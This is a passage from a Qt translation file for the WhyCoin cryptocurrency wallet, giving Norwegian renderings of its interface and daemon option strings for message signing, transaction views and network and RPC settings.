<translation>Angi adresse for signering, melding (vær sikker på at du kopierer linjeskift, mellomrom, tab, etc. helt nøyaktig) og signatur under for å verifisere meldingen. Vær forsiktig med at du ikke gir signaturen mer betydning enn det som faktisk står i meldingen, for å unngå å bli lurt av såkalte "man-in-the-middle" angrep.</translation>
</message>
<message>
<location line="+21"/>
<source>The address the message was signed with (e.g. RDnVX8VK5b7egm1FFuCHHe3H7U4VL3zxK6)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+40"/>
<source>Verify the message to ensure it was signed with the specified WhyCoin address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+17"/>
<source>Reset all verify message fields</source>
<translation>Tilbakestill alle felter for meldingsverifikasjon</translation>
</message>
<message>
<location filename="../signverifymessagedialog.cpp" line="+27"/>
<location line="+3"/>
<source>Enter a WhyCoin address (e.g. RDnVX8VK5b7egm1FFuCHHe3H7U4VL3zxK6)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-2"/>
<source>Click "Sign Message" to generate signature</source>
<translation>Klikk "Signer Melding" for å generere signatur</translation>
</message>
<message>
<location line="+3"/>
<source>Enter WhyCoin signature</source>
<translation>Skriv inn WhyCoin signatur</translation>
</message>
<message>
<location line="+85"/>
<location line="+81"/>
<source>The entered address is invalid.</source>
<translation>Angitt adresse er ugyldig.</translation>
</message>
<message>
<location line="-81"/>
<location line="+8"/>
<location line="+73"/>
<location line="+8"/>
<source>Please check the address and try again.</source>
<translation>Vennligst sjekk adressen og prøv igjen.</translation>
</message>
<message>
<location line="-81"/>
<location line="+81"/>
<source>The entered address does not refer to a key.</source>
<translation>Angitt adresse refererer ikke til en nøkkel.</translation>
</message>
<message>
<location line="-73"/>
<source>Wallet unlock was cancelled.</source>
<translation>Opplåsing av lommebok ble avbrutt.</translation>
</message>
<message>
<location line="+8"/>
<source>Private key for the entered address is not available.</source>
<translation>Privat nøkkel for den angitte adressen er ikke tilgjengelig.</translation>
</message>
<message>
<location line="+12"/>
<source>Message signing failed.</source>
<translation>Signering av melding feilet.</translation>
</message>
<message>
<location line="+5"/>
<source>Message signed.</source>
<translation>Melding signert.</translation>
</message>
<message>
<location line="+59"/>
<source>The signature could not be decoded.</source>
<translation>Signaturen kunne ikke dekodes.</translation>
</message>
<message>
<location line="+0"/>
<location line="+13"/>
<source>Please check the signature and try again.</source>
<translation>Vennligst sjekk signaturen og prøv igjen.</translation>
</message>
<message>
<location line="+0"/>
<source>The signature did not match the message digest.</source>
<translation>Signaturen passer ikke til meldingen.</translation>
</message>
<message>
<location line="+7"/>
<source>Message verification failed.</source>
<translation>Verifikasjon av melding feilet.</translation>
</message>
<message>
<location line="+5"/>
<source>Message verified.</source>
<translation>Melding verifisert.</translation>
</message>
</context>
<context>
<name>TrafficGraphWidget</name>
<message>
<location filename="../trafficgraphwidget.cpp" line="+75"/>
<source>KB/s</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>TransactionDesc</name>
<message>
<location filename="../transactiondesc.cpp" line="+25"/>
<source>Open until %1</source>
<translation>Åpen til %1</translation>
</message>
<message>
<location line="+6"/>
<source>conflicted</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>%1/offline</source>
<translation>%1/frakoblet</translation>
</message>
<message>
<location line="+2"/>
<source>%1/unconfirmed</source>
<translation>%1/ubekreftet</translation>
</message>
<message>
<location line="+2"/>
<source>%1 confirmations</source>
<translation>%1 bekreftelser</translation>
</message>
<message>
<location line="+17"/>
<source>Status</source>
<translation>Status</translation>
</message>
<message numerus="yes">
<location line="+7"/>
<source>, broadcast through %n node(s)</source>
<translation><numerusform>, kringkast gjennom %n node</numerusform><numerusform>, kringkast gjennom %n noder</numerusform></translation>
</message>
<message>
<location line="+4"/>
<source>Date</source>
<translation>Dato</translation>
</message>
<message>
<location line="+7"/>
<source>Source</source>
<translation>Kilde</translation>
</message>
<message>
<location line="+0"/>
<source>Generated</source>
<translation>Generert</translation>
</message>
<message>
<location line="+5"/>
<location line="+13"/>
<source>From</source>
<translation>Fra</translation>
</message>
<message>
<location line="+1"/>
<location line="+19"/>
<location line="+58"/>
<source>To</source>
<translation>Til</translation>
</message>
<message>
<location line="-74"/>
<location line="+2"/>
<source>own address</source>
<translation>egen adresse</translation>
</message>
<message>
<location line="-2"/>
<source>label</source>
<translation>merkelapp</translation>
</message>
<message>
<location line="+34"/>
<location line="+12"/>
<location line="+45"/>
<location line="+17"/>
<location line="+30"/>
<source>Credit</source>
<translation>Kredit</translation>
</message>
<message numerus="yes">
<location line="-102"/>
<source>matures in %n more block(s)</source>
<translation><numerusform>blir moden om %n blokk</numerusform><numerusform>blir moden om %n blokker</numerusform></translation>
</message>
<message>
<location line="+2"/>
<source>not accepted</source>
<translation>ikke akseptert</translation>
</message>
<message>
<location line="+44"/>
<location line="+8"/>
<location line="+15"/>
<location line="+30"/>
<source>Debit</source>
<translation>Debet</translation>
</message>
<message>
<location line="-39"/>
<source>Transaction fee</source>
<translation>Transaksjonsgebyr</translation>
</message>
<message>
<location line="+16"/>
<source>Net amount</source>
<translation>Nettobeløp</translation>
</message>
<message>
<location line="+6"/>
<source>Message</source>
<translation>Melding</translation>
</message>
<message>
<location line="+2"/>
<source>Comment</source>
<translation>Kommentar</translation>
</message>
<message>
<location line="+2"/>
<source>Transaction ID</source>
<translation>Transaksjons-ID</translation>
</message>
<message>
<location line="+3"/>
<source>Generated coins must mature 510 blocks before they can be spent. When you generated this block, it was broadcast to the network to be added to the block chain. If it fails to get into the chain, its state will change to "not accepted" and it won't be spendable. This may occasionally happen if another node generates a block within a few seconds of yours.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>Debug information</source>
<translation>Informasjon for feilsøk</translation>
</message>
<message>
<location line="+8"/>
<source>Transaction</source>
<translation>Transaksjon</translation>
</message>
<message>
<location line="+5"/>
<source>Inputs</source>
<translation>Inndata</translation>
</message>
<message>
<location line="+21"/>
<source>Amount</source>
<translation>Beløp</translation>
</message>
<message>
<location line="+1"/>
<source>true</source>
<translation>sann</translation>
</message>
<message>
<location line="+0"/>
<source>false</source>
<translation>usann</translation>
</message>
<message>
<location line="-202"/>
<source>, has not been successfully broadcast yet</source>
<translation>, har ikke blitt kringkastet uten problemer enda.</translation>
</message>
<message numerus="yes">
<location line="-36"/>
<source>Open for %n more block(s)</source>
<translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation>
</message>
<message>
<location line="+67"/>
<source>unknown</source>
<translation>ukjent</translation>
</message>
</context>
<context>
<name>TransactionDescDialog</name>
<message>
<location filename="../forms/transactiondescdialog.ui" line="+14"/>
<source>Transaction details</source>
<translation>Transaksjonsdetaljer</translation>
</message>
<message>
<location line="+6"/>
<source>This pane shows a detailed description of the transaction</source>
<translation>Her vises en detaljert beskrivelse av transaksjonen</translation>
</message>
</context>
<context>
<name>TransactionTableModel</name>
<message>
<location filename="../transactiontablemodel.cpp" line="+231"/>
<source>Date</source>
<translation>Dato</translation>
</message>
<message>
<location line="+0"/>
<source>Type</source>
<translation>Type</translation>
</message>
<message>
<location line="+0"/>
<source>Address</source>
<translation>Adresse</translation>
</message>
<message>
<location line="+0"/>
<source>Amount</source>
<translation>Beløp</translation>
</message>
<message>
<location line="+52"/>
<source>Open until %1</source>
<translation>Åpen til %1</translation>
</message>
<message>
<location line="+12"/>
<source>Confirmed (%1 confirmations)</source>
<translation>Bekreftet (%1 bekreftelser)</translation>
</message>
<message numerus="yes">
<location line="-15"/>
<source>Open for %n more block(s)</source>
<translation><numerusform>Åpen for %n blokk til</numerusform><numerusform>Åpen for %n blokker til</numerusform></translation>
</message>
<message>
<location line="+6"/>
<source>Offline</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Unconfirmed</source>
<translation>Ubekreftet</translation>
</message>
<message>
<location line="+3"/>
<source>Confirming (%1 of %2 recommended confirmations)</source>
<translation>Bekrefter (%1 av %2 anbefalte bekreftelser)</translation>
</message>
<message>
<location line="+6"/>
<source>Conflicted</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Immature (%1 confirmations, will be available after %2)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>This block was not received by any other nodes and will probably not be accepted!</source>
<translation>Denne blokken har ikke blitt mottatt av noen andre noder og vil sannsynligvis ikke bli akseptert!</translation>
</message>
<message>
<location line="+3"/>
<source>Generated but not accepted</source>
<translation>Generert men ikke akseptert</translation>
</message>
<message>
<location line="+42"/>
<source>Received with</source>
<translation>Mottatt med</translation>
</message>
<message>
<location line="+2"/>
<source>Received from</source>
<translation>Mottatt fra</translation>
</message>
<message>
<location line="+3"/>
<source>Sent to</source>
<translation>Sendt til</translation>
</message>
<message>
<location line="+2"/>
<source>Payment to yourself</source>
<translation>Betaling til deg selv</translation>
</message>
<message>
<location line="+2"/>
<source>Mined</source>
<translation>Utvunnet</translation>
</message>
<message>
<location line="+38"/>
<source>(n/a)</source>
<translation>-</translation>
</message>
<message>
<location line="+194"/>
<source>Transaction status. Hover over this field to show number of confirmations.</source>
<translation>Transaksjonsstatus. Hold muspekeren over dette feltet for å se antall bekreftelser.</translation>
</message>
<message>
<location line="+2"/>
<source>Date and time that the transaction was received.</source>
<translation>Dato og tid for da transaksjonen ble mottat.</translation>
</message>
<message>
<location line="+2"/>
<source>Type of transaction.</source>
<translation>Type transaksjon.</translation>
</message>
<message>
<location line="+2"/>
<source>Destination address of transaction.</source>
<translation>Mottaksadresse for transaksjonen</translation>
</message>
<message>
<location line="+2"/>
<source>Amount removed from or added to balance.</source>
<translation>Beløp fjernet eller lagt til saldo.</translation>
</message>
</context>
<context>
<name>TransactionView</name>
<message>
<location filename="../transactionview.cpp" line="+54"/>
<location line="+17"/>
<source>All</source>
<translation>Alle</translation>
</message>
<message>
<location line="-16"/>
<source>Today</source>
<translation>I dag</translation>
</message>
<message>
<location line="+1"/>
<source>This week</source>
<translation>Denne uken</translation>
</message>
<message>
<location line="+1"/>
<source>This month</source>
<translation>Denne måneden</translation>
</message>
<message>
<location line="+1"/>
<source>Last month</source>
<translation>Forrige måned</translation>
</message>
<message>
<location line="+1"/>
<source>This year</source>
<translation>Dette året</translation>
</message>
<message>
<location line="+1"/>
<source>Range...</source>
<translation>Intervall...</translation>
</message>
<message>
<location line="+12"/>
<source>Received with</source>
<translation>Mottatt med</translation>
</message>
<message>
<location line="+2"/>
<source>Sent to</source>
<translation>Sendt til</translation>
</message>
<message>
<location line="+2"/>
<source>To yourself</source>
<translation>Til deg selv</translation>
</message>
<message>
<location line="+1"/>
<source>Mined</source>
<translation>Utvunnet</translation>
</message>
<message>
<location line="+1"/>
<source>Other</source>
<translation>Andre</translation>
</message>
<message>
<location line="+7"/>
<source>Enter address or label to search</source>
<translation>Skriv inn adresse eller merkelapp for søk</translation>
</message>
<message>
<location line="+7"/>
<source>Min amount</source>
<translation>Minimumsbeløp</translation>
</message>
<message>
<location line="+34"/>
<source>Copy address</source>
<translation>Kopier adresse</translation>
</message>
<message>
<location line="+1"/>
<source>Copy label</source>
<translation>Kopier merkelapp</translation>
</message>
<message>
<location line="+1"/>
<source>Copy amount</source>
<translation>Kopiér beløp</translation>
</message>
<message>
<location line="+1"/>
<source>Copy transaction ID</source>
<translation>Kopier transaksjons-ID</translation>
</message>
<message>
<location line="+1"/>
<source>Edit label</source>
<translation>Rediger merkelapp</translation>
</message>
<message>
<location line="+1"/>
<source>Show transaction details</source>
<translation>Vis transaksjonsdetaljer</translation>
</message>
<message>
<location line="+138"/>
<source>Export Transaction Data</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Comma separated file (*.csv)</source>
<translation>Kommaseparert fil (*.csv)</translation>
</message>
<message>
<location line="+8"/>
<source>Confirmed</source>
<translation>Bekreftet</translation>
</message>
<message>
<location line="+1"/>
<source>Date</source>
<translation>Dato</translation>
</message>
<message>
<location line="+1"/>
<source>Type</source>
<translation>Type</translation>
</message>
<message>
<location line="+1"/>
<source>Label</source>
<translation>Merkelapp</translation>
</message>
<message>
<location line="+1"/>
<source>Address</source>
<translation>Adresse</translation>
</message>
<message>
<location line="+1"/>
<source>Amount</source>
<translation>Beløp</translation>
</message>
<message>
<location line="+1"/>
<source>ID</source>
<translation>ID</translation>
</message>
<message>
<location line="+4"/>
<source>Error exporting</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>Could not write to file %1.</source>
<translation>Kunne ikke skrive til filen %1</translation>
</message>
<message>
<location line="+100"/>
<source>Range:</source>
<translation>Intervall:</translation>
</message>
<message>
<location line="+8"/>
<source>to</source>
<translation>til</translation>
</message>
</context>
<context>
<name>WalletModel</name>
<message>
<location filename="../walletmodel.cpp" line="+208"/>
<source>Sending...</source>
<translation>Sender...</translation>
</message>
</context>
<context>
<name>bitcoin-core</name>
<message>
<location filename="../bitcoinstrings.cpp" line="+173"/>
<source>WhyCoin version</source>
<translation>WhyCoin versjon</translation>
</message>
<message>
<location line="+1"/>
<source>Usage:</source>
<translation>Bruk:</translation>
</message>
<message>
<location line="+1"/>
<source>Send command to -server or whycoind</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>List commands</source>
<translation>List opp kommandoer</translation>
</message>
<message>
<location line="+1"/>
<source>Get help for a command</source>
<translation>Vis hjelpetekst for en kommando</translation>
</message>
<message>
<location line="-147"/>
<source>Options:</source>
<translation>Innstillinger:</translation>
</message>
<message>
<location line="+2"/>
<source>Specify configuration file (default: whycoin.conf)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Specify pid file (default: whycoind.pid)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Specify wallet file (within data directory)</source>
<translation>Angi lommebok fil (inne i data mappe)</translation>
</message>
<message>
<location line="-1"/>
<source>Specify data directory</source>
<translation>Angi mappe for datafiler</translation>
</message>
<message>
<location line="-25"/>
<source>%s, you must set a rpcpassword in the configuration file:
%s
It is recommended you use the following random password:
rpcuser=whycoinrpc
rpcpassword=%s
(you do not need to remember this password)
The username and password MUST NOT be the same.
If the file does not exist, create it with owner-readable-only file permissions.
It is also recommended to set alertnotify so you are notified of problems;
for example: alertnotify=echo %%s | mail -s "WhyCoin Alert" admin@foo.com
</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+27"/>
<source>Set database cache size in megabytes (default: 25)</source>
<translation>Sett størrelse på mellomlager for database i megabytes (standardverdi: 25)</translation>
</message>
<message>
<location line="+1"/>
<source>Set database disk log size in megabytes (default: 100)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Listen for connections on <port> (default: 5937 or testnet: 55937)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Maintain at most <n> connections to peers (default: 125)</source>
<translation>Hold maks <n> koblinger åpne til andre noder (standardverdi: 125)</translation>
</message>
<message>
<location line="+3"/>
<source>Connect to a node to retrieve peer addresses, and disconnect</source>
<translation>Koble til node for å hente adresser til andre noder, koble så fra igjen</translation>
</message>
<message>
<location line="+1"/>
<source>Specify your own public address</source>
<translation>Angi din egen offentlige adresse</translation>
</message>
<message>
<location line="+4"/>
<source>Bind to given address. Use [host]:port notation for IPv6</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Query for peer addresses via DNS lookup, if low on addresses (default: 1 unless -connect)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Always query for peer addresses via DNS lookup (default: 0)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Threshold for disconnecting misbehaving peers (default: 100)</source>
<translation>Grenseverdi for å koble fra noder med dårlig oppførsel (standardverdi: 100)</translation>
</message>
<message>
<location line="+1"/>
<source>Number of seconds to keep misbehaving peers from reconnecting (default: 86400)</source>
<translation>Antall sekunder noder med dårlig oppførsel hindres fra å koble til på nytt (standardverdi: 86400)</translation>
</message>
<message>
<location line="-36"/>
<source>An error occurred while setting up the RPC port %u for listening on IPv4: %s</source>
<translation>En feil oppstod ved opprettelse av RPC port %u for lytting: %s</translation>
</message>
<message>
<location line="+63"/>
<source>Listen for JSON-RPC connections on <port> (default: 5938 or testnet: 55938)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-16"/>
<source>Accept command line and JSON-RPC commands</source>
<translation>Ta imot kommandolinje- og JSON-RPC-kommandoer</translation>
</message>
<message>
<location line="+1"/>
<source>Run in the background as a daemon and accept commands</source>
<translation>Kjør i bakgrunnen som daemon og ta imot kommandoer</translation>
</message>
<message>
<location line="+1"/>
<source>Use the test network</source>
<translation>Bruk testnettverket</translation>
</message>
<message>
<location line="-24"/>
<source>Accept connections from outside (default: 1 if no -proxy or -connect)</source>
<translation>Ta imot tilkoblinger fra utsiden (standardverdi: 1 hvis uten -proxy eller -connect)</translation>
</message>
<message>
<location line="-28"/>
<source>An error occurred while setting up the RPC port %u for listening on IPv6, falling back to IPv4: %s</source>
<translation>En feil oppstod under oppsettet av RPC port %u for IPv6, tilbakestilles til IPv4: %s</translation>
</message>
<message>
<location line="+94"/>
<source>Set maximum size of high-priority/low-fee transactions in bytes (default: 27000)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+15"/>
<source>Warning: -paytxfee is set very high! This is the transaction fee you will pay if you send a transaction.</source>
<translation>Advarsel: -paytxfee er satt veldig høyt! Dette er transaksjonsgebyret du betaler når du sender transaksjoner.</translation>
</message>
<message>
<location line="-104"/>
<source>Warning: Please check that your computer's date and time are correct! If your clock is wrong WhyCoin will not work properly.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+132"/>
<source>Warning: error reading wallet.dat! All keys read correctly, but transaction data or address book entries might be missing or incorrect.</source>
<translation>Advarsel: Feil ved lesing av wallet.dat! Alle taster lest riktig, men transaksjon dataene eller adresse innlegg er kanskje manglende eller feil.</translation>
</message>
<message>
<location line="-17"/>
<source>Warning: wallet.dat corrupt, data salvaged! Original wallet.dat saved as wallet.{timestamp}.bak in %s; if your balance or transactions are incorrect you should restore from a backup.</source>
<translation>Advarsel: wallet.dat korrupt, data reddet! Original wallet.dat lagret som wallet.{timestamp}.bak i %s; hvis din saldo eller dine transaksjoner ikke er korrekte bør du gjenopprette fra en backup.</translation>
</message>
<message>
<location line="-34"/>
<source>Attempt to recover private keys from a corrupt wallet.dat</source>
<translation>Forsøk å berge private nøkler fra en korrupt wallet.dat</translation>
</message>
<message>
<location line="+5"/>
<source>Block creation options:</source>
<translation>Valg for opprettelse av blokker:</translation>
</message>
<message>
<location line="-68"/>
<source>Connect only to the specified node(s)</source>
<translation>Koble kun til angitt(e) node(r)</translation>
</message>
<message>
<location line="+4"/>
<source>Discover own IP address (default: 1 when listening and no -externalip)</source>
<translation>Oppdag egen IP-adresse (standardverdi: 1 ved lytting og uten -externalip)</translation>
</message>
<message>
<location line="+102"/>
<source>Failed to listen on any port. Use -listen=0 if you want this.</source>
<translation>Kunne ikke lytte på noen port. Bruk -listen=0 hvis det er dette du vil.</translation>
</message>
<message>
<location line="+90"/>
<source>Invalid -tor address: '%s'</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+4"/>
<source>Invalid amount for -reservebalance=<amount></source>
<translation type="unfinished"/>
</message>
<message>
<location line="-89"/>
<source>Maximum per-connection receive buffer, <n>*1000 bytes (default: 5000)</source>
<translation>Maks mottaksbuffer per forbindelse, <n>*1000 bytes (standardverdi: 5000)</translation>
</message>
<message>
<location line="+1"/>
<source>Maximum per-connection send buffer, <n>*1000 bytes (default: 1000)</source>
<translation>Maks sendebuffer per forbindelse, <n>*1000 bytes (standardverdi: 1000)</translation>
</message>
<message>
<location line="-17"/>
<source>Only connect to nodes in network <net> (IPv4, IPv6 or Tor)</source>
<translation>Koble kun til noder i nettverket <nett> (IPv4, IPv6 eller Tor)</translation>
</message>
<message>
<location line="+31"/>
<source>Prepend debug output with timestamp</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+40"/>
<source>SSL options: (see the Bitcoin Wiki for SSL setup instructions)</source>
<translation>SSL valg: (se Bitcoin Wiki for instruksjoner for oppsett av SSL)</translation>
</message>
<message>
<location line="-38"/>
<source>Send trace/debug info to console instead of debug.log file</source>
<translation>Send spor/debug informasjon til konsollet istedenfor debug.log filen</translation>
</message>
<message>
<location line="+34"/>
<source>Set maximum block size in bytes (default: 250000)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-1"/>
<source>Set minimum block size in bytes (default: 0)</source>
<translation>Sett minimum blokkstørrelse i bytes (standardverdi: 0)</translation>
</message>
<message>
<location line="-34"/>
<source>Shrink debug.log file on client startup (default: 1 when no -debug)</source>
<translation>Krymp debug.log filen når klienten starter (standardverdi: 1 hvis uten -debug)</translation>
</message>
<message>
<location line="-42"/>
<source>Specify connection timeout in milliseconds (default: 5000)</source>
<translation>Angi tidsavbrudd for forbindelse i millisekunder (standardverdi: 5000)</translation>
</message>
<message>
<location line="+116"/>
<source>Unable to sign checkpoint, wrong checkpointkey?
</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-87"/>
<source>Use UPnP to map the listening port (default: 0)</source>
<translation>Bruk UPnP for lytteport (standardverdi: 0)</translation>
</message>
<message>
<location line="-1"/>
<source>Use UPnP to map the listening port (default: 1 when listening)</source>
<translation>Bruk UPnP for lytteport (standardverdi: 1 ved lytting)</translation>
</message>
<message>
<location line="-26"/>
<source>Use proxy to reach tor hidden services (default: same as -proxy)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+46"/>
<source>Username for JSON-RPC connections</source>
<translation>Brukernavn for JSON-RPC forbindelser</translation>
</message>
<message>
<location line="+54"/>
<source>Verifying database integrity...</source>
<translation>Verifiserer databasens integritet...</translation>
</message>
<message>
<location line="+43"/>
<source>Error: Wallet locked, unable to create transaction!</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Error: This transaction requires a transaction fee of at least %s because of its amount, complexity, or use of recently received funds!</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Error: Transaction creation failed!</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Error: The transaction was rejected! This might happen if some of the coins in your wallet were already spent, such as if you used a copy of wallet.dat and coins were spent in the copy but not marked as spent here.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>Warning</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Information</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>WARNING: syncronized checkpoint violation detected, but skipped!</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-1"/>
<source>Warning: This version is obsolete, upgrade required!</source>
<translation>Advarsel: Denne versjonen er foreldet, oppgradering kreves!</translation>
</message>
<message>
<location line="-53"/>
<source>wallet.dat corrupt, salvage failed</source>
<translation>wallet.dat korrupt, bergning feilet</translation>
</message>
<message>
<location line="-59"/>
<source>Password for JSON-RPC connections</source>
<translation>Passord for JSON-RPC forbindelser</translation>
</message>
<message>
<location line="-48"/>
<source>Connect through SOCKS5 proxy</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+17"/>
<source>Sync time with other nodes. Disable if time on your system is precise e.g. syncing with NTP (default: 1)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+13"/>
<source>When creating transactions, ignore inputs with value less than this (default: 0.01)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+6"/>
<source>Output debugging information (default: 0, supplying <category> is optional)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>If <category> is not supplied, output all debugging information.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source><category> can be:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+4"/>
<source>Enter regression test mode, which uses a special chain in which blocks can be solved instantly. This is intended for regression testing tools and app development.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+8"/>
<source>Allow JSON-RPC connections from specified IP address</source>
<translation>Tillat JSON-RPC tilkoblinger fra angitt IP-adresse</translation>
</message>
<message>
<location line="+1"/>
<source>Send commands to node running on <ip> (default: 127.0.0.1)</source>
<translation>Send kommandoer til node på <ip> (standardverdi: 127.0.0.1)</translation>
</message>
<message>
<location line="+1"/>
<source>Wait for RPC server to start</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Set the number of threads to service RPC calls (default: 4)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Execute command when the best block changes (%s in cmd is replaced by block hash)</source>
<translation>Eksekvér kommando når beste blokk endrer seg (%s i kommandoen erstattes med blokkens hash)</translation>
</message>
<message>
<location line="+3"/>
<source>Execute command when a wallet transaction changes (%s in cmd is replaced by TxID)</source>
<translation>Kjør kommando når en lommeboktransaksjon endres (%s i cmd er erstattet med TxID)</translation>
</message>
<message>
<location line="+3"/>
<source>Require a confirmations for change (default: 0)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Execute command when a relevant alert is received (%s in cmd is replaced by message)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Upgrade wallet to latest format</source>
<translation>Oppgradér lommebok til nyeste format</translation>
</message>
<message>
<location line="+1"/>
<source>Set key pool size to <n> (default: 100)</source>
<translation>Angi størrelse på nøkkel-lager til <n> (standardverdi: 100)</translation>
</message>
<message>
<location line="+1"/>
<source>Rescan the block chain for missing wallet transactions</source>
<translation>Se gjennom blokk-kjeden etter manglende lommeboktransaksjoner</translation>
</message>
<message>
<location line="+3"/>
<source>How thorough the block verification is (0-6, default: 1)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Imports blocks from external blk000?.dat file</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+9"/>
<source>Use OpenSSL (https) for JSON-RPC connections</source>
<translation>Bruk OpenSSL (https) for JSON-RPC forbindelser</translation>
</message>
<message>
<location line="+1"/>
<source>Server certificate file (default: server.cert)</source>
<translation>Servers sertifikat (standardverdi: server.cert)</translation>
</message>
<message>
<location line="+1"/>
<source>Server private key (default: server.pem)</source>
<translation>Servers private nøkkel (standardverdi: server.pem)</translation>
</message>
<message>
<location line="+5"/>
<source>Error: Unsupported argument -socks found. Setting SOCKS version isn't possible anymore, only SOCKS5 proxies are supported.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+8"/>
<source>Initialization sanity check failed. WhyCoin is shutting down.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+21"/>
<source>Error loading block database</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+28"/>
<source>Error: Wallet unlocked for staking only, unable to create transaction.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+17"/>
<source>Error: Disk space is low!</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>This is a pre-release test build - use at your own risk - do not use for mining or merchant applications</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>WARNING: Invalid checkpoint found! Displayed transactions may not be correct! You may need to upgrade, or notify developers.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-174"/>
<source>This help message</source>
<translation>Denne hjelpemeldingen</translation>
</message>
<message>
<location line="+105"/>
<source>Wallet %s resides outside data directory %s.</source>
<translation>Lommeboken %s holder til utenfor data mappen %s.</translation>
</message>
<message>
<location line="+36"/>
<source>Unable to bind to %s on this computer (bind returned error %d, %s)</source>
<translation>Kan ikke binde til %s på denne datamaskinen (bind returnerte feil %d, %s)</translation>
</message>
<message>
<location line="-131"/>
<source>Allow DNS lookups for -addnode, -seednode and -connect</source>
<translation>Tillat DNS oppslag for -addnode, -seednode og -connect</translation>
</message>
<message>
<location line="+127"/>
<source>Loading addresses...</source>
<translation>Laster adresser...</translation>
</message>
<message>
<location line="-10"/>
<source>Error loading wallet.dat: Wallet corrupted</source>
<translation>Feil ved lasting av wallet.dat: Lommeboken er skadet</translation>
</message>
<message>
<location line="+4"/>
<source>Error loading wallet.dat: Wallet requires newer version of WhyCoin</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Wallet needed to be rewritten: restart WhyCoin to complete</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Error loading wallet.dat</source>
<translation>Feil ved lasting av wallet.dat</translation>
</message>
<message>
<location line="-16"/>
<source>Invalid -proxy address: '%s'</source>
<translation>Ugyldig -proxy adresse: '%s'</translation>
</message>
<message>
<location line="-1"/>
<source>Unknown network specified in -onlynet: '%s'</source>
<translation>Ukjent nettverk angitt i -onlynet '%s'</translation>
</message>
<message>
<location line="+3"/>
<source>Cannot resolve -bind address: '%s'</source>
<translation>Kunne ikke slå opp -bind adresse: '%s'</translation>
</message>
<message>
<location line="+2"/>
<source>Cannot resolve -externalip address: '%s'</source>
<translation>Kunne ikke slå opp -externalip adresse: '%s'</translation>
</message>
<message>
<location line="-22"/>
<source>Invalid amount for -paytxfee=<amount>: '%s'</source>
<translation>Ugyldig beløp for -paytxfee=<beløp>: '%s'</translation>
</message>
<message>
<location line="+59"/>
<source>Sending...</source>
<translation>Sender...</translation>
</message>
<message>
<location line="+5"/>
<source>Invalid amount</source>
<translation>Ugyldig beløp</translation>
</message>
<message>
<location line="+1"/>
<source>Insufficient funds</source>
<translation>Utilstrekkelige midler</translation>
</message>
<message>
<location line="-40"/>
<source>Loading block index...</source>
<translation>Laster blokkindeks...</translation>
</message>
<message>
<location line="-111"/>
<source>Add a node to connect to and attempt to keep the connection open</source>
<translation>Legg til node for tilkobling og hold forbindelsen åpen</translation>
</message>
<message>
<location line="+126"/>
<source>Unable to bind to %s on this computer. WhyCoin is probably already running.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-102"/>
<source>Fee per KB to add to transactions you send</source>
<translation>Gebyr per KB som skal legges til transaksjoner du sender</translation>
</message>
<message>
<location line="+33"/>
